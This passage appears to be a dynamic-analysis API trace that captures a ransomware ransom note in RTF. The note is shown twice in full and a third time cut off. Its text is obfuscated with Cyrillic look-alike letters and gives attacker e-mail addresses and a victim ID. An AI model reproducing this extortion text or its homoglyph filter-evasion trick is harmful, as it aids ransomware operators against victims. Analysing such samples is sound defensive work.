!\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0035.993] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0035.993] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T 